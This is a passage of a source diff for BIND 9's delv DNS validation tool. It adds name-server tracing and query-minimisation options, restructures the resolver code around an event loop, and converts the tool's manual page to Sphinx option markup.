 		case 't': /* mtrace */
+			FULLCHECK("mtrace");
 			message_trace = state;
 			if (state) {
 				resolve_trace = state;
@@ -1158,6 +1209,41 @@ plus_option(char *option) {
 			goto invalid_option;
 		}
 		break;
+	case 'n':
+		switch (cmd[1]) {
+		case 's': /* ns */
+			FULLCHECK("ns");
+			fulltrace = state;
+			if (state) {
+				message_trace = state;
+				send_trace = state;
+				resolve_trace = state;
+				logfp = stdout;
+			}
+			break;
+		default:
+			goto invalid_option;
+		}
+		break;
+	case 'q': /* qmin */
+		FULLCHECK("qmin");
+		if (state) {
+			if (value == NULL || strcasecmp(value, "relaxed") == 0)
+			{
+				qmin = true;
+			} else if (strcasecmp(value, "strict") == 0) {
+				qmin = true;
+				qmin_strict = true;
+			} else {
+				fatal("Invalid qmin option '%s': "
+				      "use 'relaxed' or 'strict'\n",
+				      value);
+			}
+		} else {
+			qmin = false;
+			qmin_strict = false;
+		}
+		break;
 	case 'r':
 		switch (cmd[1]) {
 		case 'o': /* root */
@@ -1227,6 +1313,13 @@ plus_option(char *option) {
 				fatal("Couldn't parse split");
 			}
 			break;
+		case 't': /* strace */
+			FULLCHECK("strace");
+			send_trace = state;
+			if (state) {
+				message_trace = state;
+			}
+			break;
 		default:
 			goto invalid_option;
 		}
@@ -1241,9 +1334,20 @@ plus_option(char *option) {
 			FULLCHECK("tcp");
 			use_tcp = state;
 			break;
-		case 'r': /* trust */
-			FULLCHECK("trust");
-			showtrust = state;
+		case 'r':
+			switch (cmd[2]) {
+			case 'a': /* trace */
+				FULLCHECK("trace");
+				fatal("Invalid argument +trace. For "
+				      "delegation path tracing, use +ns.");
+				break;
+			case 'u': /* trust */
+				FULLCHECK("trust");
+				showtrust = state;
+				break;
+			default:
+				goto invalid_option;
+			}
 			break;
 		case 't': /* ttl */
 			FULLCHECK("ttl");
@@ -1276,6 +1380,10 @@ plus_option(char *option) {
 		fprintf(stderr, "Invalid option: +%s\n", option);
 		usage();
 	}
+
+	if (qmin && !fulltrace) {
+		fatal("'+qmin' cannot be used without '+ns'");
+	}
 	return;
 }
 
@@ -1329,7 +1437,6 @@ dash_option(char *option, char *next, bool *open_type_class) {
 		case 'h':
 			usage();
 			exit(0);
-		/* NOTREACHED */
 		case 'i':
 			no_sigs = true;
 			root_validation = false;
@@ -1338,12 +1445,10 @@ dash_option(char *option, char *next, bool *open_type_class) {
 			/* handled in preparse_args() */
 			break;
 		case 'v':
-			fprintf(stderr, "delv %s\n", PACKAGE_VERSION);
+			printf("delv %s\n", PACKAGE_VERSION);
 			exit(0);
-		/* NOTREACHED */
 		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 		if (strlen(option) > 1U) {
 			option = &option[1];
@@ -1430,6 +1535,10 @@ dash_option(char *option, char *next, bool *open_type_class) {
 		return (value_from_next);
 	case 'p':
 		port = value;
+		result = parse_uint(&destport, port, 0xffff, "port");
+		if (result != ISC_R_SUCCESS) {
+			fatal("Couldn't parse port number");
+		}
 		return (value_from_next);
 	case 'q':
 		if (curqname != NULL) {
@@ -1449,7 +1558,8 @@ dash_option(char *option, char *next, bool *open_type_class) {
 				warn("extra query type");
 			}
 			if (rdtype == dns_rdatatype_ixfr ||
-			    rdtype == dns_rdatatype_axfr) {
+			    rdtype == dns_rdatatype_axfr)
+			{
 				fatal("Transfer not supported");
 			}
 			qtype = rdtype;
@@ -1481,7 +1591,7 @@ dash_option(char *option, char *next, bool *open_type_class) {
 		fprintf(stderr, "Invalid option: -%s\n", option);
 		usage();
 	}
-	/* NOTREACHED */
+	UNREACHABLE();
 	return (false);
 }
 
@@ -1528,7 +1638,8 @@ preparse_args(int argc, char **argv) {
 
 		/* Look for dash value option. */
 		if (strpbrk(option, dash_opts) != &option[0] ||
-		    strlen(option) > 1U) {
+		    strlen(option) > 1U)
+		{
 			/* Error or value in option. */
 			continue;
 		}
@@ -1566,13 +1677,15 @@ parse_args(int argc, char **argv) {
 		} else if (argv[0][0] == '-') {
 			if (argc <= 1) {
 				if (dash_option(&argv[0][1], NULL,
-						&open_type_class)) {
+						&open_type_class))
+				{
 					argc--;
 					argv++;
 				}
 			} else {
 				if (dash_option(&argv[0][1], argv[1],
-						&open_type_class)) {
+						&open_type_class))
+				{
 					argc--;
 					argv++;
 				}
@@ -1591,7 +1704,8 @@ parse_args(int argc, char **argv) {
 						warn("extra query type");
 					}
 					if (rdtype == dns_rdatatype_ixfr ||
-					    rdtype == dns_rdatatype_axfr) {
+					    rdtype == dns_rdatatype_axfr)
+					{
 						fatal("Transfer not supported");
 					}
 					qtype = rdtype;
@@ -1680,10 +1794,9 @@ get_reverse(char *reverse, size_t len, char *value, bool strict) {
 		/* This is a valid IPv6 address. */
 		dns_fixedname_t fname;
 		dns_name_t *name;
-		unsigned int options = 0;
 
 		name = dns_fixedname_initname(&fname);
-		result = dns_byaddr_createptrname(&addr, options, name);
+		result = dns_byaddr_createptrname(&addr, name);
 		if (result != ISC_R_SUCCESS) {
 			return (result);
 		}
@@ -1715,74 +1828,56 @@ get_reverse(char *reverse, size_t len, char *value, bool strict) {
 	}
 }
 
-int
-main(int argc, char *argv[]) {
-	dns_client_t *client = NULL;
-	isc_result_t result;
-	dns_fixedname_t qfn;
-	dns_name_t *query_name, *response_name;
+static void
+resolve_cb(dns_client_t *client, const dns_name_t *query_name,
+	   dns_namelist_t *namelist, isc_result_t result) {
 	char namestr[DNS_NAME_FORMATSIZE];
 	dns_rdataset_t *rdataset;
-	dns_namelist_t namelist;
-	unsigned int resopt;
-	isc_appctx_t *actx = NULL;
-	isc_nm_t *netmgr = NULL;
-	isc_taskmgr_t *taskmgr = NULL;
-	isc_socketmgr_t *socketmgr = NULL;
-	isc_timermgr_t *timermgr = NULL;
-	dns_master_style_t *style = NULL;
-	struct sigaction sa;
-
-	progname = argv[0];
-	preparse_args(argc, argv);
-
-	argc--;
-	argv++;
 
-	isc_lib_register();
-	result = dns_lib_init();
-	if (result != ISC_R_SUCCESS) {
-		fatal("dns_lib_init failed: %d", result);
+	if (result != ISC_R_SUCCESS && !yaml) {
+		delv_log(ISC_LOG_ERROR, "resolution failed: %s",
+			 isc_result_totext(result));
 	}
 
-	isc_mem_create(&mctx);
-
-	CHECK(isc_appctx_create(mctx, &actx));
-	isc_managers_create(mctx, 1, 0, 0, &netmgr, &taskmgr, &timermgr,
-			    &socketmgr);
-
-	parse_args(argc, argv);
+	if (yaml) {
+		printf("type: DELV_RESULT\n");
+		dns_name_format(query_name, namestr, sizeof(namestr));
+		printf("query_name: %s\n", namestr);
+		printf("status: %s\n", isc_result_totext(result));
+		printf("records:\n");
+	}
 
-	CHECK(setup_style(&style));
+	for (dns_name_t *response_name = ISC_LIST_HEAD(*namelist);
+	     response_name != NULL;
+	     response_name = ISC_LIST_NEXT(response_name, link))
+	{
+		for (rdataset = ISC_LIST_HEAD(response_name->list);
+		     rdataset != NULL; rdataset = ISC_LIST_NEXT(rdataset, link))
+		{
+			printdata(rdataset, response_name);
+		}
+	}
 
-	setup_logging(stderr);
+	dns_client_freeresanswer(client, namelist);
+	isc_mem_put(mctx, namelist, sizeof(*namelist));
 
-	CHECK(isc_app_ctxstart(actx));
+	dns_client_detach(&client);
 
-	/* Unblock SIGINT if it's been blocked by isc_app_ctxstart() */
-	memset(&sa, 0, sizeof(sa));
-	sa.sa_handler = SIG_DFL;
-	if (sigfillset(&sa.sa_mask) != 0 || sigaction(SIGINT, &sa, NULL) < 0) {
-		fatal("Couldn't set up signal handler");
-	}
+	isc_loopmgr_shutdown(loopmgr);
+}
 
-	/* Create client */
-	result = dns_client_create(mctx, actx, taskmgr, socketmgr, timermgr, 0,
-				   &client, srcaddr4, srcaddr6);
-	if (result != ISC_R_SUCCESS) {
-		delv_log(ISC_LOG_ERROR, "dns_client_create: %s",
-			 isc_result_totext(result));
-		goto cleanup;
-	}
+static void
+run_resolve(void *arg) {
+	dns_client_t *client = NULL;
+	dns_namelist_t *namelist = NULL;
+	unsigned int resopt;
+	isc_result_t result;
+	dns_name_t *query_name = NULL;
 
-	/* Set the nameserver */
-	if (server != NULL) {
-		addserver(client);
-	} else {
-		findserver(client);
-	}
+	UNUSED(arg);
 
-	CHECK(setup_dnsseckeys(client));
+	namelist = isc_mem_get(mctx, sizeof(*namelist));
+	ISC_LIST_INIT(*namelist);
 
 	/* Construct QNAME */
 	CHECK(convert_name(&qfn, &query_name, qname));
@@ -1802,39 +1897,355 @@ main(int argc, char *argv[]) {
 		resopt |= DNS_CLIENTRESOPT_TCP;
 	}
 
+	/* Create client */
+	CHECK(dns_client_create(mctx, loopmgr, netmgr, 0, tlsctx_client_cache,
+				&client, srcaddr4, srcaddr6));
+
+	/* Set the nameserver */
+	if (server != NULL) {
+		addserver(client);
+	} else {
+		findserver(client);
+	}
+
+	CHECK(setup_dnsseckeys(client, NULL));
+
 	/* Perform resolution */
-	ISC_LIST_INIT(namelist);
-	result = dns_client_resolve(client, query_name, dns_rdataclass_in,
-				    qtype, resopt, &namelist);
-	if (result != ISC_R_SUCCESS && !yaml) {
+	CHECK(dns_client_resolve(client, query_name, dns_rdataclass_in, qtype,
+				 resopt, namelist, resolve_cb));
+	return;
+cleanup:
+	if (!yaml) {
 		delv_log(ISC_LOG_ERROR, "resolution failed: %s",
 			 isc_result_totext(result));
 	}
 
-	if (yaml) {
-		printf("type: DELV_RESULT\n");
-		dns_name_format(query_name, namestr, sizeof(namestr));
-		printf("query_name: %s\n", namestr);
-		printf("status: %s\n", isc_result_totext(result));
-		printf("records:\n");
+	isc_mem_put(mctx, namelist, sizeof(*namelist));
+	isc_loopmgr_shutdown(loopmgr);
+
+	dns_client_detach(&client);
+}
+
+static void
+shutdown_server(void) {
+	if (requestmgr != NULL) {
+		dns_requestmgr_shutdown(requestmgr);
+		dns_requestmgr_detach(&requestmgr);
+	}
+	if (interfacemgr != NULL) {
+		ns_interfacemgr_shutdown(interfacemgr);
+		ns_interfacemgr_detach(&interfacemgr);
+	}
+	if (dispatch != NULL) {
+		dns_dispatch_detach(&dispatch);
+	}
+	if (dispatchmgr != NULL) {
+		dns_dispatchmgr_detach(&dispatchmgr);
+	}
+	if (sctx != NULL) {
+		ns_server_detach(&sctx);
 	}
 
-	for (response_name = ISC_LIST_HEAD(namelist); response_name != NULL;
-	     response_name = ISC_LIST_NEXT(response_name, link))
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+static void
+recvresponse(void *arg) {
+	dns_request_t *request = (dns_request_t *)arg;
+	dns_message_t *query = dns_request_getarg(request);
+	isc_result_t result = dns_request_getresult(request);
+	dns_message_t *response = NULL;
+	dns_name_t *prev = NULL;
+
+	if (result != ISC_R_SUCCESS) {
+		fatal("request event result: %s", isc_result_totext(result));
+	}
+
+	dns_message_create(mctx, DNS_MESSAGE_INTENTPARSE, &response);
+
+	result = dns_request_getresponse(request, response,
+					 DNS_MESSAGEPARSE_PRESERVEORDER);
+	if (result != ISC_R_SUCCESS) {
+		fatal("request response failed: %s", isc_result_totext(result));
+	}
+	if (response->rcode != dns_rcode_noerror) {
+		result = dns_result_fromrcode(response->rcode);
+		delv_log(ISC_LOG_INFO, "response code: %s",
+			 isc_result_totext(result));
+		goto cleanup;
+	}
+
+	for (result = dns_message_firstname(response, DNS_SECTION_ANSWER);
+	     result == ISC_R_SUCCESS;
+	     result = dns_message_nextname(response, DNS_SECTION_ANSWER))
 	{
-		for (rdataset = ISC_LIST_HEAD(response_name->list);
-		     rdataset != NULL; rdataset = ISC_LIST_NEXT(rdataset, link))
+		dns_name_t *name = NULL;
+		dns_rdataset_t *rdataset = NULL;
+		dns_rdatatype_t prevtype = 0;
+
+		dns_message_currentname(response, DNS_SECTION_ANSWER, &name);
+
+		for (rdataset = ISC_LIST_HEAD(name->list); rdataset != NULL;
+		     rdataset = ISC_LIST_NEXT(rdataset, link))
 		{
-			result = printdata(rdataset, response_name, style);
-			if (result != ISC_R_SUCCESS) {
-				delv_log(ISC_LOG_ERROR, "print data failed");
+			dns_rdataset_t rds, sigs;
+			int options = 0;
+
+			/*
+			 * The response message contains the answer the
+			 * resolver found, but it doesn't contain the
+			 * trust status. if we're not displaying that,
+			 * fine, we can just print that version.
+			 */
+			if (!showtrust) {
+				printdata(rdataset, name);
+				continue;
+			}
+
+			/*
+			 * ... but if we are printing the trust status
+			 * (which is the default behavior)), we'll need
+			 * to retrieve a copy of the rdataset from the cache.
+			 * if we do that for ever record, it will produce
+			 * duplicate output, so we check here whether we've
+			 * already printed this name and type.
+			 */
+			if (prev != NULL && dns_name_equal(prev, name)) {
+				continue;
+			}
+			prev = name;
+
+			if (prevtype == rdataset->type) {
+				continue;
+			}
+			prevtype = rdataset->type;
+
+			/* do the cache lookup */
+			if (rdataset->type == dns_rdatatype_rrsig) {
+				continue;
+			}
+
+			dns_rdataset_init(&rds);
+			dns_rdataset_init(&sigs);
+
+			if (cdflag) {
+				options |= DNS_DBFIND_PENDINGOK;
+			}
+			result = dns_view_simplefind(view, name, rdataset->type,
+						     0, options, false, &rds,
+						     &sigs);
+			if (result == ISC_R_SUCCESS) {
+				printdata(&rds, name);
+				dns_rdataset_disassociate(&rds);
+				if (dns_rdataset_isassociated(&sigs)) {
+					printdata(&sigs, name);
+					dns_rdataset_disassociate(&sigs);
+				}
 			}
 		}
 	}
 
-	dns_client_freeresanswer(client, &namelist);
+cleanup:
+	dns_message_detach(&query);
+	dns_message_detach(&response);
+	dns_request_destroy(&request);
+
+	dns_view_detach(&view);
+	shutdown_server();
+}
+
+static isc_result_t
+accept_cb(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
+	UNUSED(handle);
+	UNUSED(arg);
+
+	return (result);
+}
+
+static void
+sendquery(void *arg) {
+	isc_nmsocket_t *sock = (isc_nmsocket_t *)arg;
+	isc_sockaddr_t peer = isc_nmsocket_getaddr(sock);
+	isc_result_t result;
+	dns_message_t *message = NULL;
+	dns_name_t *query_name = NULL, *mname = NULL;
+	dns_rdataset_t *mrdataset = NULL;
+	dns_rdataset_t *opt = NULL;
+	dns_request_t *request = NULL;
+
+	/* Construct query message */
+	CHECK(convert_name(&qfn, &query_name, qname));
+
+	dns_message_create(mctx, DNS_MESSAGE_INTENTRENDER, &message);
+	message->opcode = dns_opcode_query;
+	message->flags = DNS_MESSAGEFLAG_RD | DNS_MESSAGEFLAG_AD;
+	if (cdflag) {
+		message->flags |= DNS_MESSAGEFLAG_CD;
+	}
+	message->rdclass = dns_rdataclass_in;
+	message->id = (dns_messageid_t)isc_random16();
+
+	dns_message_gettempname(message, &mname);
+	dns_message_gettemprdataset(message, &mrdataset);
+	dns_name_clone(query_name, mname);
+	dns_rdataset_makequestion(mrdataset, dns_rdataclass_in, qtype);
+	ISC_LIST_APPEND(mname->list, mrdataset, link);
+	dns_message_addname(message, mname, DNS_SECTION_QUESTION);
+	mrdataset = NULL;
+	mname = NULL;
+
+	CHECK(dns_message_buildopt(message, &opt, 0, 0, DNS_MESSAGEEXTFLAG_DO,
+				   NULL, 0));
+	CHECK(dns_message_setopt(message, opt));
+
+	CHECK(dns_requestmgr_create(mctx, loopmgr, dispatchmgr, NULL, NULL,
+				    &requestmgr));
+
+	dns_view_attach(view, &(dns_view_t *){ NULL });
+	CHECK(dns_request_create(requestmgr, message, NULL, &peer, NULL, NULL,
+				 DNS_REQUESTOPT_TCP, NULL, 1, 0, 0,
+				 isc_loop_current(loopmgr), recvresponse,
+				 message, &request));
+	return;
+
+cleanup:
+	if (message != NULL) {
+		dns_message_detach(&message);
+	}
+
+	shutdown_server();
+}
+
+static isc_result_t
+matchview(isc_netaddr_t *srcaddr, isc_netaddr_t *destaddr,
+	  dns_message_t *message, dns_aclenv_t *env, isc_result_t *sigresultp,
+	  dns_view_t **viewp) {
+	UNUSED(srcaddr);
+	UNUSED(destaddr);
+	UNUSED(message);
+	UNUSED(env);
+	UNUSED(sigresultp);
+
+	*viewp = view;
+	return (ISC_R_SUCCESS);
+}
+
+static void
+run_server(void *arg) {
+	isc_result_t result;
+	dns_cache_t *cache = NULL;
+	isc_sockaddr_t addr, any;
+	struct in_addr in;
+
+	UNUSED(arg);
+
+	RUNTIME_CHECK(inet_pton(AF_INET, "127.0.0.1", &in));
+	isc_sockaddr_fromin(&addr, &in, 0);
+
+	ns_server_create(mctx, matchview, &sctx);
+
+	CHECK(dns_dispatchmgr_create(mctx, netmgr, &dispatchmgr));
+	isc_sockaddr_any(&any);
+	CHECK(dns_dispatch_createudp(dispatchmgr, &any, &dispatch));
+	CHECK(ns_interfacemgr_create(mctx, sctx, loopmgr, netmgr, dispatchmgr,
+				     NULL, false, &interfacemgr));
+
+	CHECK(dns_view_create(mctx, dispatchmgr, dns_rdataclass_in, "_default",
+			      &view));
+	CHECK(dns_cache_create(loopmgr, dns_rdataclass_in, "", &cache));
+	dns_view_setcache(view, cache, false);
+	dns_cache_detach(&cache);
+	dns_view_setdstport(view, destport);
+
+	CHECK(dns_rootns_create(mctx, dns_rdataclass_in, hintfile, &roothints));
+	dns_view_sethints(view, roothints);
+	dns_db_detach(&roothints);
+
+	view->qminimization = qmin;
+	view->qmin_strict = qmin_strict;
+
+	dns_view_initsecroots(view);
+	CHECK(setup_dnsseckeys(NULL, view));
+
+	CHECK(dns_view_createresolver(view, loopmgr, 1, netmgr, 0,
+				      tlsctx_client_cache, dispatch, NULL));
+
+	isc_stats_create(mctx, &resstats, dns_resstatscounter_max);
+	dns_resolver_setstats(view->resolver, resstats);
+	isc_stats_detach(&resstats);
+
+	dns_rdatatypestats_create(mctx, &resquerystats);
+	dns_resolver_setquerystats(view->resolver, resquerystats);
+	dns_stats_detach(&resquerystats);
+
+	dns_view_freeze(view);
+
+	ns_interface_create(interfacemgr, &addr, NULL, &ifp);
+
+	CHECK(isc_nm_listenstreamdns(netmgr, ISC_NM_LISTEN_ONE, &addr,
+				     ns_client_request, ifp, accept_cb, ifp, 10,
+				     NULL, NULL, &ifp->tcplistensocket));
+	ifp->flags |= NS_INTERFACEFLAG_LISTENING;
+	isc_async_current(loopmgr, sendquery, ifp->tcplistensocket);
+
+	return;
 
 cleanup:
+	if (view != NULL) {
+		dns_view_detach(&view);
+	}
+	shutdown_server();
+}
+
+int
+main(int argc, char *argv[]) {
+	isc_result_t result;
+	isc_loop_t *loop = NULL;
+
+	progname = argv[0];
+	logfp = stderr;
+
+	preparse_args(argc, argv);
+
+	argc--;
+	argv++;
+
+	isc_managers_create(&mctx, 1, &loopmgr, &netmgr);
+	loop = isc_loop_main(loopmgr);
+
+	result = dst_lib_init(mctx, NULL);
+	if (result != ISC_R_SUCCESS) {
+		fatal("dst_lib_init failed: %d", result);
+	}
+
+	parse_args(argc, argv);
+
+	CHECK(setup_style());
+
+	setup_logging(logfp);
+
+	if (!fulltrace && hintfile != NULL) {
+		delv_log(ISC_LOG_WARNING,
+			 "WARNING: not using internal name server mode, "
+			 "hint file will be ignored");
+	}
+
+	if (fulltrace && server != NULL) {
+		delv_log(ISC_LOG_WARNING,
+			 "WARNING: using internal name server mode: "
+			 "'@%s' will be ignored",
+			 server);
+	}
+
+	isc_tlsctx_cache_create(mctx, &tlsctx_client_cache);
+
+	isc_loop_setup(loop, fulltrace ? run_server : run_resolve, NULL);
+	isc_loopmgr_run(loopmgr);
+
+cleanup:
+	if (tlsctx_client_cache != NULL) {
+		isc_tlsctx_cache_detach(&tlsctx_client_cache);
+	}
 	if (trust_anchor != NULL) {
 		isc_mem_free(mctx, trust_anchor);
 	}
@@ -1847,19 +2258,11 @@ main(int argc, char *argv[]) {
 	if (style != NULL) {
 		dns_master_styledestroy(&style, mctx);
 	}
-	if (client != NULL) {
-		dns_client_destroy(&client);
-	}
-	isc_managers_destroy(&netmgr, &taskmgr, &timermgr, &socketmgr);
-	if (actx != NULL) {
-		isc_appctx_destroy(&actx);
-	}
-	if (lctx != NULL) {
-		isc_log_destroy(&lctx);
-	}
-	isc_mem_detach(&mctx);
 
-	dns_lib_shutdown();
+	isc_log_destroy(&lctx);
+	dst_lib_destroy();
+
+	isc_managers_destroy(&mctx, &loopmgr, &netmgr);
 
 	return (0);
 }
diff --git a/bin/delv/delv.rst b/bin/delv/delv.rst
index dc2ab4687a..2ab1f897f4 100644
--- a/bin/delv/delv.rst
+++ b/bin/delv/delv.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: delv
+.. program:: delv
 .. _man_delv:
 
 delv - DNS lookup and validation utility
@@ -40,10 +32,10 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``delv`` is a tool for sending DNS queries and validating the results,
-using the same internal resolver and validator logic as ``named``.
+:program:`delv` is a tool for sending DNS queries and validating the results,
+using the same internal resolver and validator logic as :iscman:`named`.
 
-``delv`` sends to a specified name server all queries needed to
+:program:`delv` sends to a specified name server all queries needed to
 fetch and validate the requested data; this includes the original
 requested query, subsequent queries to follow CNAME or DNAME chains,
 queries for DNSKEY, and DS records to establish a chain of trust for
@@ -52,25 +44,25 @@ simulates the behavior of a name server configured for DNSSEC validating
 and forwarding.
 
 By default, responses are validated using the built-in DNSSEC trust anchor
-for the root zone ("."). Records returned by ``delv`` are either fully
+for the root zone ("."). Records returned by :program:`delv` are either fully
 validated or were not signed. If validation fails, an explanation of the
 failure is included in the output; the validation process can be traced
-in detail. Because ``delv`` does not rely on an external server to carry
+in detail. Because :program:`delv` does not rely on an external server to carry
 out validation, it can be used to check the validity of DNS responses in
 environments where local name servers may not be trustworthy.
 
-Unless it is told to query a specific name server, ``delv`` tries
+Unless it is told to query a specific name server, :program:`delv` tries
 each of the servers listed in ``/etc/resolv.conf``. If no usable server
-addresses are found, ``delv`` sends queries to the localhost
+addresses are found, :program:`delv` sends queries to the localhost
 addresses (127.0.0.1 for IPv4, ::1 for IPv6).
 
-When no command-line arguments or options are given, ``delv``
+When no command-line arguments or options are given, :program:`delv`
 performs an NS query for "." (the root zone).
 
 Simple Usage
 ~~~~~~~~~~~~
 
-A typical invocation of ``delv`` looks like:
+A typical invocation of :program:`delv` looks like:
 
 ::
 
@@ -78,125 +70,143 @@ A typical invocation of ``delv`` looks like:
 
 where:
 
-``server``
+.. option:: server
+
    is the name or IP address of the name server to query. This can be an
    IPv4 address in dotted-decimal notation or an IPv6 address in
    colon-delimited notation. When the supplied ``server`` argument is a
-   hostname, ``delv`` resolves that name before querying that name
+   hostname, :program:`delv` resolves that name before querying that name
    server (note, however, that this initial lookup is *not* validated by
    DNSSEC).
 
-   If no ``server`` argument is provided, ``delv`` consults
+   If no ``server`` argument is provided, :program:`delv` consults
    ``/etc/resolv.conf``; if an address is found there, it queries the
-   name server at that address. If either of the ``-4`` or ``-6``
+   name server at that address. If either of the :option:`-4` or :option:`-6`
    options is in use, then only addresses for the corresponding
-   transport are tried. If no usable addresses are found, ``delv``
+   transport are tried. If no usable addresses are found, :program:`delv`
    sends queries to the localhost addresses (127.0.0.1 for IPv4, ::1
    for IPv6).
 
-``name``
+.. option:: name
+
    is the domain name to be looked up.
 
-``type``
+.. option:: type
+
    indicates what type of query is required - ANY, A, MX, etc.
    ``type`` can be any valid query type. If no ``type`` argument is
-   supplied, ``delv`` performs a lookup for an A record.
+   supplied, :program:`delv` performs a lookup for an A record.
 
 Options
 ~~~~~~~
 
-``-a anchor-file``
-   This option specifies a file from which to read DNSSEC trust anchors. The default
-   is ``/etc/bind.keys``, which is included with BIND 9 and contains one
-   or more trust anchors for the root zone (".").
+.. option:: -a anchor-file
+
+   This option specifies a file from which to read an alternate
+   DNSSEC root zone trust anchor.
+
+   By default, keys that do not match the root zone name (`.`) are
+   ignored. If an alternate key name is desired, it can be
+   specified using the :option:`+root` option.
 
-   Keys that do not match the root zone name are ignored. An alternate
-   key name can be specified using the ``+root=NAME`` options.
+   Note: When reading trust anchors, :program:`delv` treats
+   ``trust-anchors``, ``initial-key``, and ``static-key`` identically. That
+   is, for a managed key, it is the *initial* key that is trusted;
+   :rfc:`5011` key management is not supported. :program:`delv` does not
+   consult the managed-keys database maintained by :iscman:`named`. This
+   means that if the default key built in to :program:`delv` is revoked,
+   :program:`delv` must be updated to a newer version in order to continue
+   validating.
 
-   Note: When reading the trust anchor file, ``delv`` treats ``trust-anchors``,
-   ``initial-key``, and ``static-key`` identically. That is, for a managed key,
-   it is the *initial* key that is trusted; :rfc:`5011` key management is not
-   supported. ``delv`` does not consult the managed-keys database maintained by
-   ``named``, which means that if either of the keys in ``/etc/bind.keys`` is
-   revoked and rolled over, ``/etc/bind.keys`` must be updated to
-   use DNSSEC validation in ``delv``.
+.. option:: -b address
 
-``-b address``
    This option sets the source IP address of the query to ``address``. This must be
    a valid address on one of the host's network interfaces, or ``0.0.0.0``,
    or ``::``. An optional source port may be specified by appending
    ``#<port>``
 
-``-c class``
+.. option:: -c class
+
    This option sets the query class for the requested data. Currently, only class
-   "IN" is supported in ``delv`` and any other value is ignored.
+   "IN" is supported in :program:`delv` and any other value is ignored.
+
+.. option:: -d level
 
-``-d level``
    This option sets the systemwide debug level to ``level``. The allowed range is
    from 0 to 99. The default is 0 (no debugging). Debugging traces from
-   ``delv`` become more verbose as the debug level increases. See the
-   ``+mtrace``, ``+rtrace``, and ``+vtrace`` options below for
+   :program:`delv` become more verbose as the debug level increases. See the
+   :option:`+mtrace`, :option:`+rtrace`, and :option:`+vtrace` options below for
    additional debugging details.
 
-``-h``
-   This option displays the ``delv`` help usage output and exits.
+.. option:: -h
+
+   This option displays the :program:`delv` help usage output and exits.
+
+.. option:: -i
 
-``-i``
    This option sets insecure mode, which disables internal DNSSEC validation. (Note,
    however, that this does not set the CD bit on upstream queries. If the
    server being queried is performing DNSSEC validation, then it does
-   not return invalid data; this can cause ``delv`` to time out. When it
+   not return invalid data; this can cause :program:`delv` to time out. When it
    is necessary to examine invalid data to debug a DNSSEC problem, use
-   ``dig +cd``.)
+   :option:`dig +cd`.)
+
+.. option:: -m
 
-``-m``
    This option enables memory usage debugging.
 
-``-p port#``
+.. option:: -p port#
+
    This option specifies a destination port to use for queries, instead of the
    standard DNS port number 53. This option is used with a name
    server that has been configured to listen for queries on a
    non-standard port number.
 
-``-q name``
+.. option:: -q name
+
    This option sets the query name to ``name``. While the query name can be
-   specified without using the ``-q`` option, it is sometimes necessary to
+   specified without using the :option:`-q` option, it is sometimes necessary to
    disambiguate names from types or classes (for example, when looking
    up the name "ns", which could be misinterpreted as the type NS, or
    "ch", which could be misinterpreted as class CH).
 
-``-t type``
+.. option:: -t type
+
    This option sets the query type to ``type``, which can be any valid query type
    supported in BIND 9 except for zone transfer types AXFR and IXFR. As
-   with ``-q``, this is useful to distinguish query-name types or classes
+   with :option:`-q`, this is useful to distinguish query-name types or classes
    when they are ambiguous. It is sometimes necessary to disambiguate
    names from types.
 
-   The default query type is "A", unless the ``-x`` option is supplied
+   The default query type is "A", unless the :option:`-x` option is supplied
    to indicate a reverse lookup, in which case it is "PTR".
 
-``-v``
-   This option prints the ``delv`` version and exits.
+.. option:: -v
+
+   This option prints the :program:`delv` version and exits.
+
+.. option:: -x addr
 
-``-x addr``
    This option performs a reverse lookup, mapping an address to a name. ``addr``
    is an IPv4 address in dotted-decimal notation, or a colon-delimited
-   IPv6 address. When ``-x`` is used, there is no need to provide the
-   ``name`` or ``type`` arguments; ``delv`` automatically performs a
+   IPv6 address. When :option:`-x` is used, there is no need to provide the
+   ``name`` or ``type`` arguments; :program:`delv` automatically performs a
    lookup for a name like ``11.12.13.10.in-addr.arpa`` and sets the
    query type to PTR. IPv6 addresses are looked up using nibble format
    under the IP6.ARPA domain.
 
-``-4``
-   This option forces ``delv`` to only use IPv4.
+.. option:: -4
 
-``-6``
-   This option forces ``delv`` to only use IPv6.
+   This option forces :program:`delv` to only use IPv4.
+
+.. option:: -6
+
+   This option forces :program:`delv` to only use IPv6.
 
 Query Options
 ~~~~~~~~~~~~~
 
-``delv`` provides a number of query options which affect the way results
+:program:`delv` provides a number of query options which affect the way results
 are displayed, and in some cases the way lookups are performed.
 
 Each query option is identified by a keyword preceded by a plus sign
@@ -205,69 +215,121 @@ the string ``no`` to negate the meaning of that keyword. Other keywords
 assign values to options like the timeout interval. They have the form
 ``+keyword=value``. The query options are:
 
-``+[no]cdflag``
+.. option:: +cdflag, +nocdflag
+
    This option controls whether to set the CD (checking disabled) bit in queries
-   sent by ``delv``. This may be useful when troubleshooting DNSSEC
+   sent by :program:`delv`. This may be useful when troubleshooting DNSSEC
    problems from behind a validating resolver. A validating resolver
    blocks invalid responses, making it difficult to retrieve them
    for analysis. Setting the CD flag on queries causes the resolver
-   to return invalid responses, which ``delv`` can then validate
+   to return invalid responses, which :program:`delv` can then validate
    internally and report the errors in detail.
 
-``+[no]class``
+.. option:: +class, +noclass
+
